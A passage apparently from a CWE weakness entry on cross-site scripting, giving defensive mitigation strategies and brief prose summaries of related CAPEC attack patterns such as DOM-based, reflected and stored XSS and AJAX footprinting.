- Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
- Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.